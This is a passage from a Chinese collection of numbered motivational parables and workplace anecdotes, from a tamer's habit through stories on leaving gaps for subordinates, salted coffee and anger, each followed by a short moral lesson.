   虎曾经被习惯绑住,而驯虎人则死于习惯(他已经习惯于他的老虎不吃人)。
   习惯几乎可以绑住一切,只是不能绑住偶然。比如那只偶然尝了鲜血的老虎。
  
  二十、留个缺口给别人
    一位著名企业家在作报告,一位听众问:“你在事业上取得了巨大的成功,请问,对
  你来说,最重要的是什么?”
   企业家没有直接回答,他拿起粉笔在黑板上画了一个圈,只是并没有画圆满,留下一
  个缺口。他反问道:“这是什么?”“零”。“圈”/“未完成的事业”/“成功”,台下
  的听众七嘴八舌地答道。
   他对这些回答未置可否:“其实,这只是一个未画完整的句号。你们问我为什么会取
  得辉煌的业绩,道理很简单:我不会把事情做得很圆满,就像画个句号,一定要留个缺口
  ,让我的下属去填满它。”
   留个缺口给他人,并不说明自己的能力不强。实际上,这是一种管理的智慧,是一种
  更高层次上带有全局性的圆满。
   给猴子一棵树,让它不停地攀登;给老虎一座山,让它自由纵横。也许,这就是企业
  管理用人的最高境界。
  
  二十一、马
   马,本来自由自在的在山间撒野,渴了喝点山泉,累了就睡在地上晒太阳,无忧无虑
  。可是自从有了伯乐,马的命运就改变了,给它的头戴上笼辔,在它的背上置放鞍具,栓
  着它,马的死亡率已经是十之二三了,然后再逼着它运输东西,强迫它日行千里,在它的
  脚上钉上铁掌,马的死亡率就过半了。马本来就是毫无规矩毫无用处的动物,让它吸取日
  月之精化,天地之灵气,无用无为,还得以享尽天年,教化它,让它懂得礼法,反而害了
  它的生命。
    人何尝不是如此呢?在规矩的约束下我们是否也丧失了本我,成天遵循别人制定的礼
  义,逼迫自己去做不愿意做的事情,有限的生命还剩下多少呢?
  
  二十二、所长无用
    有个鲁国人擅长编草鞋,他妻子擅长织白绢。他想迁到越国去。友人对他说:“你到
  越国去,一定会贫穷的。”“为什么?”“草鞋,是用来穿着走路的,但越国人习惯于赤
  足走路;白绢,是用来做帽子的,但越国人习惯于披头散发。凭着你的长处,到用不到你
  的地方去,这样,要使自己不贫穷,难道可能吗?”
   这个故事告诉人们:一个人要发挥其专长,就必须适合社会环境需要。如果脱离社会
  环境的需要,其专长也就失去了价值。因此,我们要根据社会得需要,决定自己的行动,
  更好去发挥自己的专长。
  
  二十三、佛塔上的老鼠
    一只四处漂泊的老鼠在佛塔顶上安了家。
    佛塔里的生活实在是幸福极了,它既可以在各层之间随意穿越,又可以享受到丰富的
  供品。它甚至还享有别人所无法想象的特权,那些不为人知的秘笈,它可以随意咀嚼;人
  们不敢正视的佛像,它可以自由休闲,兴起之时,甚至还可以在佛像头上留些排泄物。
    每当善男信女们烧香叩头的时候,这只老鼠总是看着那令人陶醉的烟气,慢慢升起,
  它猛抽着鼻子,心中暗笑:“可笑的人类,膝盖竟然这样柔软,说跪就跪下了!”
    有一天,一只饿极了的野猫闯了进来,它一把将老鼠抓住。
    “你不能吃我!你应该向我跪拜!我代表着佛!”这位高贵的俘虏抗议道。
    “人们向你跪拜,只是因为你所占的位置,不是因为你!”
    野猫讥讽道,然后,它像掰开一个汉堡包那样把老鼠掰成了两半。
  
  二十四、钢玻璃杯的故事
    一个农民,初中只读了两年,家里就没钱继续供他上学了。他辍学回家,帮父亲耕种
  三亩薄田。在他19岁时,父亲去世了,家庭的重担全部压在了他的肩上。他要照顾身体不
  好的母亲,还有一位瘫痪在床的祖母。
    八十年代,农田承包到户。他把一块水洼挖成池塘,想养鱼。但乡里的干部告诉他,
  水田不能养鱼,只能种庄稼,他只好有把水塘填平。这件事成了一个笑话,在别人的眼里
  ,他是一个想发财但有非常愚蠢的人。
    听说养鸡能赚钱,他向亲戚借了500元钱,养起了鸡。但是一场洪水后,鸡得了鸡瘟
  ,几天内全部死光。500元对别人来说可能不算什么,对一个只靠三亩薄田生活的家庭而
  言,不啻天文数字。他的母亲手不了这个刺激,竟然忧郁而死。
    他后来酿过酒,捕过鱼,甚至还在石矿的悬崖上帮人打过炮眼……可都没有赚到钱。
  
    35岁的时候,他还没有娶到媳妇。即使是离异的有孩子的女人也看不上他。因为他只
  有一间土屋,随时有可能在一场大雨后倒塌。娶不上老婆的男人,在农村是没有人看得起
  的。
    但他还想搏一搏,就四处借钱买一辆受扶拖拉机。不料,上路不到半个月,这辆拖拉
  机就载着他冲入一条河里。他断了一条腿,成了瘸子。而那拖拉机,被人捞起来,已经支
  离破碎,他只能拆开它,当作废铁卖。
    几乎所有的人都说他这辈子完了。
    但是后来他却成了我所在的这个城市里的一家公司的老总,手中有两亿元的资产。现
  在,许多人都知道他苦难的过去和富有传奇色彩的创业经历。许多媒体采访过他,许多报
  告文学描述过他。但我只记得这样一个情节–
    记者问他:“在苦难的日子里,你凭什么一次又一次毫不退缩?“
    他坐在宽大豪华的老板台后面,喝完了手里的一杯水。然后,他把玻璃杯子握在手里
  ,反问记者:“如果我松手,这只杯子会怎样?“
    记者说:“摔在地上,碎了。“
    “那我们试试看。“他说。
    他手一松,杯子掉到地上发出清脆的声音,但并没有破碎,而是完好无损。他说:“
  即使有10个人在场,他们都会认为这只杯子必碎无疑。但是,这只杯子不是普通的玻璃杯
  ,而是用玻璃钢制作的。“
    于是,我记住了这段经典绝妙的对话。这样的人,即使只有一口气,他也会努力去拉
  住成功的手,除非上苍剥夺了他的生命……
  
  二十五、机 会
   A在合资公司做白领,觉得自己满腔抱负没有得到上级的赏识,经常想:如果有一天
  能见到老总,有机会展示一下自己的才干就好了!!
    A的同事B,也有同样的想法,他更进一步,去打听老总上下班的时间,算好他大概会
  在何时进电梯,他也在这个时候去坐电梯,希望能遇到老总,有机会可以打个招呼。
    他们的同事C更进一步。他详细了解老总的奋斗历程,弄清老总毕业的学校,人际风
  格,关心的问题,精心设计了几句简单却有份量的开场白,在算好的时间去乘坐电梯,跟
  老总打过几次招呼后,终于有一天跟老总长谈了一次,不久就争取到了更好的职位。
    愚者错失机会,智者善抓机会,成功者创造机会。机会只给准备好的人,这准备二字
  ,并非说说而已。
  
  二十六、疯子和呆子
   一个心理学教授到疯人院参观,了解疯子的生活状态。一天下来,觉得这些人疯疯癫
  癫,行事出人意料,可算大开眼界。
    想不到准备返回时,发现自己的车胎被人下掉了。“一定是哪个疯子干的!”教授这
  样愤愤地想道,动手拿备胎准备装上。
    事情严重了。下车胎的人居然将螺丝也都下掉。没有螺丝有备胎也上不去啊!
    教授一筹莫展。在他着急万分的时候,一个疯子蹦蹦跳跳地过来了,嘴里唱着不知名
  的欢乐歌曲。他发现了困境中的教授,停下来问发生了什么事。
    教授懒得理他,但出于礼貌还是告诉了他。
    疯子哈哈大笑说:“我有办法!”他从每个轮胎上面下了一个螺丝,这样就拿到三个
  螺丝将备胎装了上去。
    教授惊奇感激之余,大为好奇:“请问你是怎么想到这个办法的?”
    疯子嘻嘻哈哈地笑道:“我是疯子,可我不是呆子啊!”
    其实,世上有许多的人,由于他们发现了工作中的乐趣,总会表现出与常人不一样的
  狂热,让人难以理解。许多人在笑话他们是疯子的时候,别人说不定还在笑他呆子呢。
    做人呆呆,处事聪明,在中国尤其不失为一种上佳做人姿态。
  
  二十七、博士
   有一个博士分到一家研究所,成为学历最高的一个人。
   有一天他到单位后面的小池塘去钓鱼,正好正副所长在他的一左一右,也在钓鱼。
   他只是微微点了点头,这两个本科生,有啥好聊的呢?
    不一会儿,正所长放下钓竿,伸伸懒腰,蹭蹭蹭从水面上如飞地走到对面上厕所。
    博士眼睛睁得都快掉下来了。水上飘?不会吧?这可是一个池塘啊。
    正所长上完厕所回来的时候,同样也是蹭蹭蹭地从水上飘回来了。
    怎么回事?博士生又不好去问,自己是博士生哪!
    过一阵,副所长也站起来,走几步,蹭蹭蹭地飘过水面上厕所。这下子博士更是差点
  昏倒:不会吧,到了一个江湖高手集中的地方?
    博士生也内急了。这个池塘两边有围墙,要到对面厕所非得绕十分钟的路,而回单位
  上又太远,怎么办?
    博士生也不愿意去问两位所长,憋了半天后,也起身往水里跨:我就不信本科生能过
  的水面,我博士生不能过。
    只听咚的一声,博士生栽到了水里。
    两位所长将他拉了出来,问他为什么要下水,他问:“为什么你们可以走过去呢?”
  
    两所长相视一笑:“这池塘里有两排木桩子,由于这两天下雨涨水正好在水面下。我
  们都知道这木桩的位置,所以可以踩着桩子过去。你怎么不问一声呢?”
    学历代表过去,只有学习力才能代表将来。尊重经验的人,才能少走弯路。一个好的
  团队,也应该是学习型的团队。
  
  二十八、跳 槽
   A对B说:“我要离开这个公司。我恨这个公司!”
    B建议道:“我举双手赞成你报复! 破公司一定要给它点颜色看看。不过你现在离开
  ,还不是最好的时机。”
    A问:???
    B说:“如果你现在走,公司的损失并不大。你应该趁着在公司的机会,拼命去为自
  己拉一些客户,成为公司独挡一面的人物,然后带着这 些客户突然离开公司,公司才会
  受到重大损失,非常被动。”
    A觉得B说的非常在理。于是努力工作,事遂所愿,半年多的努力工作后,他有了许多
  的忠实客户。
    再见面时B问A:现在是时机了,要跳赶快行动哦!
    A淡然笑道:老总跟我长谈过,准备升我做总经理助理,我暂时没有离开的打算了。
  
  
    其实这也正是B的初衷。一个人的工作,永远只是为自己的简历。只有付出大于得到
  , 让老板真正看到你的能力大于位置,才会给你更多的机会替他创造更多利润。
  
  二十九、三个金人
   曾经有个小国到中国来,进贡了三个一模一样的金人,金碧辉煌,把皇帝高兴坏了。
  可是这小国不厚道,同时出一道题目:这三个金人哪个最有价值?
    皇帝想了许多的办法,请来珠宝匠检查,称重量,看做工,都是一模一样的。怎么办
  ?使者还等着回去汇报呢。泱泱大国,不会连这个小事都不懂吧?
    最后,有一位退位的老大臣说他有办法。
    皇帝将使者请到大殿,老臣胸有成足地拿着三根稻草,插入第一个金人的耳朵里,这
  稻草从另一边耳朵出来了。第二个金人的稻草从嘴巴里直接掉出来,而第三个金人,稻草
  进去后掉进了肚子,什么响动也没有。老臣说:第三个金人最有价值!使者默默无语,答
  案正确。
    这个故事告诉我们,最有价值的人,不一定是最能说的人的人。老天给我们两只耳朵
  一个嘴巴,本来就是让我们多听少说的。善于倾听,才是成熟的人最基本的素质。
  
  三十 、 鞋 带
   有一位表演大师上场前,他的弟子告诉他鞋带松了。大师点头致谢,蹲下来仔细系好
  。等到弟子转身后,又蹲下来将鞋带解松。
    有个旁观者看到了这一切,不解地问:“大师,您为什么又要将鞋带解松呢?”大师
  回答道:“因为我饰演的是一位劳累的旅者,长途跋涉让他的鞋事松开,可以通过这个细
  节表现他的劳累憔悴.”
    “那你为什么不直接告诉你的弟子呢?”
    “他能细心地发现我的鞋带松了,并且热心地告诉我,我一定要保护他这种热情的积
  极性,及时地给他鼓励,至于为什么要将鞋带解开,将来会有更多的机会教他表演,可以
  下一次再说啊。”
    人一个时间只能做一件事,懂抓重点,才是真正的人才。
  
  三十一、我是陈阿土
   陈阿土是台湾的农民,从来没有出过远门。攒了半辈子的钱,终于参加一个旅游团出
  了国。
    国外的一切都是非常新鲜的,关键是,陈阿土参加的是豪华团,一个人住一个标准间
  。这让他新奇不已。
   早晨,服务生来敲门送早餐时大声说道:“GOODMORNING SIR!”
    陈阿土愣住了。这是什么意思呢?在自己的家乡,一般陌生的人见面都会问:“您贵
  姓?”
    于是陈阿土大声叫道:“我叫陈阿土!”
    如是这般,连着三天,都是那个服务生来敲门,每天都大声说:“GOODMORNING SIR
  ! ”而陈阿土亦大声回道:“我叫陈阿土!”
    但他非常的生气。这个服务生也太笨了,天天问自己叫什么,告诉他又记不住,很烦
  的。终于他忍不住去问导游,“GOODMORNING SIR!”是什么意思,导游告诉了他,天啊
  !!真是丢脸死了。
    陈阿土反复练习“GOODMORNING SIR!”这个词,以便能体面地应对服务生。
    又一天的早晨,服务生照常来敲门,门一开陈阿土就大声叫道:“GOODMORNING SIR
  ! ”
    与此同时,服务生叫的是:“我是陈阿土!”
    这个故事告诉我们,人与人交往,常常是意志力与意志力的较量。不是你影响他,就
  是他影响你,而我们要想成功,一定要培养自己的影响力,只有影响力大的人才可以成为
  最强者。
  
  三十二、饺子皮尖
   有个富家子弟特别爱吃饺子,每天都要吃。但他又特别刁,只吃馅,两头的皮尖尖就
  丢到后面的小河里去。
    好景不长,在他十六岁那年,一把大火烧了他的全家,父母急怒中相继病逝。这下他
  身无分文,又不好意思要饭。邻居家大嫂非常好,每餐给他吃一碗面糊糊。他则发奋读书
  ,三年后考取官位回来,一定要感谢邻居大嫂。
    大嫂对他讲:不要感谢我。我没有给你什么,都是我收集的当年你丢的饺子皮尖,晒
  干后装了好凡麻袋,本来是想备不时之需的。正好你有需要,就又还给你了。
    大官思考良久,良久。。。。
    有一个有名的三八理论:八小时睡觉,八小时工作,这个人人一样。人与人之间的不
  同,是在于业余时间怎么渡过。时间是最有情,也最无情的东西,每人拥有的都一样,非
  常公平。但拥有资源的人不一定成功,善用资源的人才会成功。白天图生存,晚上求发展
  ,这是二十一世纪对人才的要求。
  
  三十三、要求
   有三个人要被关进监狱三年,监狱长给他们三个一人一个要求。
    美国人爱抽雪茄,要了三箱雪茄。
    法国人最浪漫,要一个美丽的女子相伴。
    而犹太人说,他要一部与外界沟通的电话。
    三年过后,第一个冲出来的是美国人,嘴里鼻孔里塞满了雪茄,大喊道:“给我火,
  给我火!”原来他忘了要火了。
    接着出来的是法国人。只见他手里抱着一个小孩子,美丽女子手里牵着一个小孩子,
  肚子里还怀着第三个。
    最后出来的是犹太人,他紧紧握住监狱长的手说:“这三年来我每天与外界联系,我
  的生意不但没有停顿,反而增长了200%,为了表示感谢,我送你一辆劳施莱斯!”
    这个故事告诉我们,什么样的选择决定什么样的生活。今天的生活是由三年前我们的
  选择决定的,而今天我们的抉择将决定我们三年后的生活。我们要选择接触最新的信息,
  了解最新的趋势,从而更好的创造自己的将来。
  
  三十四、当老虎来临时
   两个人在森林里,遇到了一只大老虎。A就赶紧从背后取下一双更轻便的运动鞋换上
  。B急死了,骂道:“你干嘛呢,再换鞋也跑不过老虎啊!”
    A说:“我只要跑得比你快就好了。”
    二十一世纪,没有危机感是最大的危机。特别是入关在即,电信,银行,保险,甚至
  是公务员这些我们以为非常稳定和有保障的企业,也会面临许多的变数。当更多的老虎来
  临时,我们没有有准备好自己的跑鞋?
  
  三十五 、习惯人生
   父子两住山上,每天都要赶牛车下山卖柴。老父较有经验,坐镇驾车,山路崎岖,弯
  道特多,儿子眼神较好,总是在要转弯时提醒道:“爹,转弯啦!”
    有一次父亲因病没有下山,儿子一人驾车。到了弯道,牛怎么也不肯转弯,儿子用尽
  各种方法,下车又推又拉,用青草诱之,牛一动不动。
    到底是怎么回事?儿子百思不得其解。最后只有一个办法了,他左右看看无人,贴近
  牛的耳朵大声叫道:“爹,转弯啦!”
    牛应声而动。
    牛用条件反射的方式活着,而人则以习惯生活。一个成功的人晓得如何培养好的习惯
  来代替坏的习惯,当好的习惯积累多了,自然会有一个好的人生。
  
  三十六、责 任
   五岁的汉克和爸爸妈妈哥哥一起到森林干活,突然间下起雨来,可是他们只带了一块
  雨披。
    爸爸将雨披给了妈妈,妈妈给了哥哥,哥哥又给了汉克。
    汉克问道:“为什么爸爸给了妈妈,妈妈给了哥哥,哥哥又给了我呢?”
    爸爸回答道:“因为爸爸比妈妈强大,妈妈比哥哥强大,哥哥又比你强大呀。我们都
  会保护比较弱小的人。”
    汉克左右看了看,跑过去将雨披撑开来挡在了一朵风雨中飘摇的娇弱小花上面。
    这个故事告诉我们,真正的强者不一定是多有力,或者多有钱,而是他对别人多有帮
  助。
    责任可以让我们将事做完整,爱可以让我们将事情做好。
  
  三十七、秀才赶考
   有位秀才第三次进京赶考,住在一个经常住的店里。考试前两天他做了三个梦,第一
  个梦是梦到自己在墙上种白菜,第二个梦是下雨天,他戴了斗笠还打伞,第三个梦是梦到
  跟心爱的表妹脱光了衣服躺在一起,但是背靠着背。
    这三个梦似乎有些深意,秀才第二天就赶紧去找算命的解梦。算命的一听,连拍大腿
  说:“你还是回家吧。你想想,高墙上种菜不是白费劲吗?戴斗笠打雨伞不是多此一举吗
  ?跟表妹都脱光了躺在一张床上了,却背靠背,不是没戏吗?”
    秀才一听,心灰意冷,回店收拾包袱准备回家。店老板非常奇怪,问:“不是明天才
  考试吗,今天你怎么就回乡了?”
    秀才如此这般说了一番,店老板乐了:“哟,我也会解梦的。我倒觉得,你这次一定
  要留下来。你想想,墙上种菜不是高种吗?戴斗笠打伞不是说明你这次有备无患吗?跟你
  表妹脱光了背靠靠躺在床上,不是说明你翻身的时候就要到了吗?”
    秀才一听,更有道理,于是精神振奋地参加考试,居然中了个探花。
    积极的人,象太阳,照到哪里哪里亮,消极的人,象月亮,初一十五不一样。想法决
  定我们的生活,有什么样的想法,就有什么样的未来。
  
  三十八、用 途
   在动物园里的小骆驼问妈妈:“妈妈,妈妈,为什么我们的睫毛那么地长?”
    骆驼妈妈说:“当风沙来的时候,长长的睫毛可以让我们在风暴中都能看得到方向。
  ”
    小骆驼又问:“妈妈妈妈,为什么我们的背那么驼,丑死了!”
    骆驼妈妈说:“这个叫驼峰,可以帮我们储存大量的水和养分,让我们能在沙漠里耐
  受十几天的无水无食条件。”
    小骆驼又问:“妈妈妈妈,为什么我们的脚掌那么厚?”
    骆驼妈妈说:“那可以让我们重重的身子不至于陷在软软的沙子里,便于长途跋涉啊
  。”
    小骆驼高兴坏了:“哗,原来我们这么有用啊!!可是妈妈,为什么我们还在动物园
  里,不去沙漠远足呢?”
    天生我才必有用,可惜现在没人用。一个好的心态+一本成功的教材+一个无限的舞台
  =成功。每人的潜能是无限的,关键是要找到一个能充分发挥潜能的舞台。
  
  三十九、分 粥
   有七个人曾经住在一起,每天分一大桶粥。要命的是,粥每天都是不够的。
    一开始,他们抓阄决定谁来分粥,每天轮一个。于是乎每周下来,他们只有一天是饱
  的,就是自己分粥的那一天。
    后来他们开始推选出一个道德高尚的人出来分粥。强权就会产生腐败,大家开始挖空
  心思去讨好他,贿赂他,搞得整个小团体乌烟瘴气。
    然后大家开始组成三人的分粥委员会及四人的评选委员会,互相攻击扯皮下来,粥吃
  到嘴里全是凉的。
    最后想出来一个方法:轮流分粥,但分粥的人要等其它人都挑完后拿剩下的最后一碗
  。为了不让自己吃到最少的,每人都尽量分得平均,就算不平,也只能认了。大家快快乐
  乐,和和气气,日子越过越好。
    同样是七个人,不同的分配制度,就会有不同的风气。所以一个单位如果有不好的工
  作习气,一定是机制问题,一定是没有完全公平公正公开,没有严格的奖勤罚懒。如何制
  订这样一个制度,是每个领导需要考虑的问题。
  
  四十、 我想跟什么样的人合作
   曾经有人采访比尔盖次成功的秘决。比尔盖次说:因为又有更多的成功人士在为我工
  作。
    陈安之的超级成功学也有提到:先为成功的人工作,再与成功的人合作,最后是让成
  功的人为你工作。
    成功的人很多,但在我生活中我不认识,也没有办法去为他工作,而让成功的人为我
  工作,在现阶段,我更没有这个实力。
    只有合作,是我最喜欢和最欣赏的。我也力图借助一个宽松的环境和积极的团队,与
  更多的人公平合作,以便在未来替自己经营一个抵抗风险的事业。我最喜欢合作的人应该
  有以下几个特点:
    一。不甘心。二十一世纪,最大的危机是没有危机感,最大的陷阱是满足。人要学会
  用望远镜看世界,而不是用近视眼看世界。顺境时要想着为自己找个退路,逆境时要懂为
  自己找出路.
    二.学习力强.学历代表过去,学习力掌握将来.懂得从任何的细节,所有的人身上学习
  和感悟,并且要懂得举一反三。主要的是,学习,其实是学与习两个字。学一次,做一百
  次,才能真正掌握。学,做,教是一个完整的过程,只有达到教的程度,才算真正吃透。
  而且在更多时候,学习是一种态度。只有谦卑的人,才真正学到东西。大海之所以成为大
  海,是因为它比所有的河流都低。
    三。行动力强。只有行动才会有结果。行动不一样,结果才不一样。知道不去做,等
  于不知道,做了没有结果,等于没有做。不犯错误,一定会错,因为不犯错误的人一定没
  有尝试。错了不要紧,一定要善于总结,然后再做,一直到正确的结果出来为止。
    四。要懂付出。要想杰出一定得先付出。斤斤计较的人,一生只得两斤。没有点奉献
  精神,是不可能创业的。要先用行动让别人知道,你有超过所得的价值,别人才会开更高
  的价。
    五。有强烈的沟通意识。沟通无极限,这更是一种态度,而非一种技巧。一个好的团
  队当然要有共同的愿景,非一日可以得来。需要无时不在的沟通,从目标到细节,甚至到
  家庭等等,都在沟通的内容之列。
    六。诚恳大方。每人都有不同的立场,不可能要求利益都一致。关键是大家都要开诚
  布公地谈清楚,不要委曲求全。相信诚信才是合作的最好基石。
    七。有最基本的道德观。曾经有一个记者在家写稿时,他的四岁儿子吵着要他陪。记
  者很烦,就将一本杂志的封底撕碎,对他儿子说:“ 你先将这上面的世界地图拼完整,
  爸爸就陪你玩。”过了不到五分钟,儿子又来拖他的手说:“爸爸我拼好了,陪我玩!”
  
    记者很生气:“小孩子要玩是可以理解的,但如果说谎话就不好了。怎么可能这么快
  就拼好世界地图!”
    儿子非常委屈:“可是我真的拼好了呀!”
    记者一看,果然如此:不会吧?家里出现了神童?他非常好奇地问:“你是怎么做到
  的?”
    儿子说:世界地图的背面是一个人的头像。我反过来拼,只要这个人好了,世界就完
  整了。
    所以做事先做人。做人做好了,他的世界也就是好的。
  
  四十一、天 堂
   一位行善的基督徙,临终后想见天堂与地狱究竟有何差异于是天使就先带他到地狱去
  参观到了地狱,在他们面前出现一张很大的餐桌,桌上摆满了丰盛的佳肴.地狱的生活看
  起来还不错嘛不用急,你再继续看下去。
   过了一会,用餐的时间到了,只见一群瘦骨如柴的饿鬼鱼贯地入座。每个人手上拿着
  一双长十几尺的筷子。可是由于筷子实在是太长了,最后每个人都夹得到.吃不到你真觉
  得很悲惨吗?我再带你到天堂看看。
   到了天堂,同样的情景,同样的满桌佳肴,每个人同样用一双长十几尺的长筷子。不
  同的是,围着餐桌吃饭的可爱的人们.他们也同用同样的筷子夹菜,不同的是,他们喂对
  面的人吃菜。而对方也喂他吃.因此每个人都吃得很愉快。
  
  四十二、一个谎言的四十年……
   一个谎言的四十年……
   在我们的身边常常发生着令人为之动容的故事,也许就在你的身边。
    偶尔的我听到了这样一个故事,很感动,匆忙之余将它记了下来,无论好与不好,我
  希望有更多的人知道,因为那的确是一个很特别、很真实的故事……
    他和她的相识是在一个宴会上,那时的她年轻美丽,身边有很多的追求者,而他却是
  一个很普通的人。因此,当宴会结束,他邀请她一块去喝咖啡的时候,她很吃惊,然而,
  出于礼貌,她还是答应了。
    坐在咖啡馆里,两个人之间的气氛很是尴尬,没有什么话题,她只想尽快结束,好回
  去。但是当小姐把咖啡端上来的时候,他却突然说:“麻烦你拿点盐过来,我喝咖啡习惯
  放点盐.”,当时,她都愣了,小姐也愣了,大家的目光、都集中到了他身上,以至于他
  的脸都红了。
    小姐把盐拿过来了,他放了点进去,慢慢地喝着。她是好奇心很重的女子,于是很好
  奇地问他:“你为什么要加盐呢?”,他沉默了一会,很慢的几乎是一字一顿的说:“小
  时候,我家住在海边,我老是在海里泡着,海浪打过来,海水涌进嘴里,又苦又咸。现在
  ,很久没回家了,咖啡里加盐,就算是想家的一种表现吧,以把距离拉近一点。”
    她突然被打动了,因为,这是她第一次听到男人在她面前说想家,她认为,想家的男
  人必定是顾家的男人,而顾家的男人必定是爱家的男人。她忽然有一种倾诉的欲望,跟他
  说起了她远在千里之外的故乡,冷冰冰的气氛渐渐的变得融洽起来,两个人聊了很久,并
  且,她没有拒绝他送她回家。
    再以后,两个人频繁的约会,她发现他实际上是一个很好的男人,大度,细心,体贴
  ,符合她所欣赏的所有的优秀男人应该具有的特性。她暗自庆幸,幸亏当时的礼貌,才没
  有和他擦肩而过。她带他去遍了城里的每家咖啡馆,每次都是她说:“请拿些盐来好吗?
  我的朋友喜欢咖啡里加盐。”再后来,就象童话书里所写的一样,“王子和公主结婚了,
  从此过着幸福的生活。”他们确实过得很幸福,而且一过就是四十多年,直到他前不久得
  病去世。
    故事似乎要结束了,如果没有那封信的话。
    那封信是他临终前写的,写给她的:“原谅我一直都欺骗了你,还记得第一次请你喝
  咖啡吗?当时气氛差极了,我很难受,也很紧张,不知怎么想的,竟然对小姐说拿些盐来
  ,其实我不加盐的,当时既然说出来了,只好将错就错了。没想到竟然引起了你的好奇心
  ,这一下,让我喝了半辈子的加盐的咖啡。有好多次,我都想告诉你,可我怕你会生气,
  更怕你会因此离开我。
    现在我终于不怕了,因为我就要死了,死人总是很容易被原谅的,对不对?今生得到
  你是我最大的幸福,如果有来生,我还希望能娶到你,只是,我可不想再喝加盐的咖啡了
  ,咖啡里加盐,你不知道,那味道,有多难喝。咖啡里加盐,我当时是怎么想出来的!”
  信的内容让她吃惊,同时有一种被骗的感觉。然而,他不知道,她多想告诉他:“她是多
  么高兴,有人为了她,能够做出这样的一生一世的欺骗……
  
  四十三、生 气
   在古老的西藏,有一个叫爱地巴的人,每次生气和人起争执的时候,就以很快的速度
  跑回家去,绕着自己的房子和土地跑3圈,然后坐在田地边喘气,爱地巴工作非常勤劳努
  力,他的房子越来越大,土地也越来越广,但不管房地有多大,只要与人争论生气,他还
  是会绕着房子和土地绕3圈,爱地巴为何每次生气都绕着房子和土地绕3圈?所有认识他的
  人,心理都起疑惑,但是不管怎么问他,爱地巴都不愿意说明,直到有一天,爱地巴很老
  ,他的房地又已经太广大,他生气,拄着拐杖艰难的绕着土地跟房子,等他好不容易走3
  圈,太阳都下山,爱地巴独自坐在田边喘气,他的孙子在身边恳求他:「阿公,你已经年
  纪大,这附近地区的人也没有人的土地比你更大,您不能再像从前,一生气就绕着土地跑
  啊!您可不可以告诉我这个秘密,为什么您一生气就要绕着土地跑上3圈???」 
   爱地巴禁不起孙子恳求,终于说出隐藏在心中多年的秘密,他说:「年轻时,我一和
  人吵架、争论、生气,就绕着房地跑3圈,边跑边想,我的房子这么小,土地这么小,我
  哪有时间,哪有资格去跟人家生气,一想到这里,气就消,于是就把所有时间用来努力作
  。
   孙子问到:「阿公,你年纪老,又变成最富有的人,为什么还要绕着房地跑?」
   爱地巴笑着说:「我现在还是会生气,生气时绕着房地走3圈,边走边想,我的房子
  这么大,土地这么多,我又何必跟人计较?一想到这,气就消了。」
  
  四十四、看法
   父子二人经过五星级饭店门口,看到一辆十分豪华的进口轿车。
   儿子不屑地对他的父亲说:「坐这种车的人,肚子里一定没有学问!」
   父亲则轻描淡写地回答:说这种话的人,口袋里一定没有钱
   (注:你对事情的看法,是不是也反映出你内心真正的态度?)
  
  四十五、习惯标准
   晚饭后,母亲和女儿一块儿洗碗盘,父亲和儿子在客厅看电视。
   突然,厨房里传来打破盘子的响声,然后一片沉寂。
   儿子望着他父亲,说道:「一定是妈妈打破的。」
   「你怎么知道?」
   「她没有骂人」
   (注:我们习惯以不同的标准来看人看己,以致往往是责人以严,待己以宽。)
  
  四十六、酒窝大道
   有两个台湾观光团到日本伊豆半岛旅游,路况很坏,到处都是坑洞。
  其中一位导游连声抱歉,说路面简直像麻子一样。
   而另一个导游却诗意盎然地对游客说:
   诸位先生,我们现在走的这条道路,正是赫赫有名的伊豆迷人酒窝大道。」
   (注:虽是同样的情况,然而不同的意念,就会产生不同的态度。思想是何等奇妙的
  事,如何去想,决定权在你。)
  
  四十七、志愿
   同样是小学三年级的学生,在作文中说他们将来的志愿是当小丑。
   中国的老师斥之为:「胸无大志,孺子不可教也!」
   外国的老师则会说:「愿你把欢笑带给全世界!」
   (注:身为长辈的我们,不但容易要求多于鼓励,更狭窄的界定了成功的定义。)
  
  四十八、手环
   有一个欧巴桑在首饰店里看到二只一模一样的手环。
   一个标价五百五十元,另一个却只标价二百五十元。
   她大为心喜,立刻买下二百五十元的手环,得意洋洋的走出店门。
   临出去前,听到里面的店员悄悄对另一个店员说:「?看吧,这一招屡试不爽。
   (注:试探如饵,可以轻而易举的使许多人显露出贪婪的本性,然而那常常是吃亏受
  骗的开始。)
  
  四十九、欠着
   乞丐:「能不能给我一百块钱?」
   路人:「我只有八十块钱。」
   乞丐:「那你就欠我二十块钱吧
   (注:有些人总以为是上苍欠他的,老觉得老天爷给的不够多、不够好,贪婪之欲早
  已取代了感恩之心。)
  
  五十、风景
   在故宫博物院中,有一个太太不耐烦地对她先生说:
   我说你为什么走得这么慢。原来你老是停下来看这些东西
   (注:有人只知道在人生的道路上狂奔,结果失去了观看两旁美丽花朵的机会。)
  
  五十一、体谅
   妻子正在厨房炒菜。丈夫在她旁边一直唠叨不停:慢些。小心!火太大了。 赶快把
  鱼翻过来。快铲起来,油放太多了!把豆腐整平一下。哎唷,锅子歪了!」
   「请你住口!」妻子脱口而出,「我懂得怎样炒菜。」
   你当然懂,太太,」丈夫平静地答道:
   「我只是要让你知道,我在开车时,你在旁边喋喋不休,我的感觉如何。」
   (注:学会体谅他人并不困难,只要你愿意认真地站在对方的角度和立场看问题。)
  
  
  五十二、第一名
   毕业典礼上,校长宣布全年级第一名的同学上台领奖,
   可是连续叫了好几声之后,那位学生才慢慢的走上台。
   后来,老师问那位学生说:“怎么了?是不是生病了?还是没听清楚?“
   学生答:“不是的,我是怕其它同学没听清楚。“
   (名与利是多少人的捆绑、多少人的心结?我们被教育要争气、要出头,
  但是争气出头的,不过是少数人,沉默的大众毕竟还多数。
   想一想,有那么多人都和你我一样,不也是很兴奋的一件事吗?)
  
  五十三、理由充分
   一辆载满乘客的公共汽车沿着下坡路快速前进着,有一个人后面紧紧地追赶着这辆车
  子。
   一个乘客从车窗中伸出头来对追车子的人:“老兄!算啦,你追不上的!“
   “我必须追上它,“这人气喘吁吁地说:“我是这辆车的司机“
   (有些人必须非常认真努力,因为不这样的话,后果就十分悲惨了!
   然而也正因为必须全力以赴,潜在的本能和不为人知的特质终将充分展现出来。)
  
  五十四、原来如此
   甲:「新搬来的邻居好可恶,昨天晚上三更半夜、夜深人静之时然跑来猛按我家的门
  
   乙:「的确可恶!你有没有马上报警?」
   「没有。我当他们是疯子,继续吹我的小喇叭。」
   (事出必有因,如果能先看到自己的不是,答案就会不一样。
   在你面对冲突和争执时,先想一想是否心中有亏,或许很快就能释怀了。)
  
   某日,张三在山间小路开车。
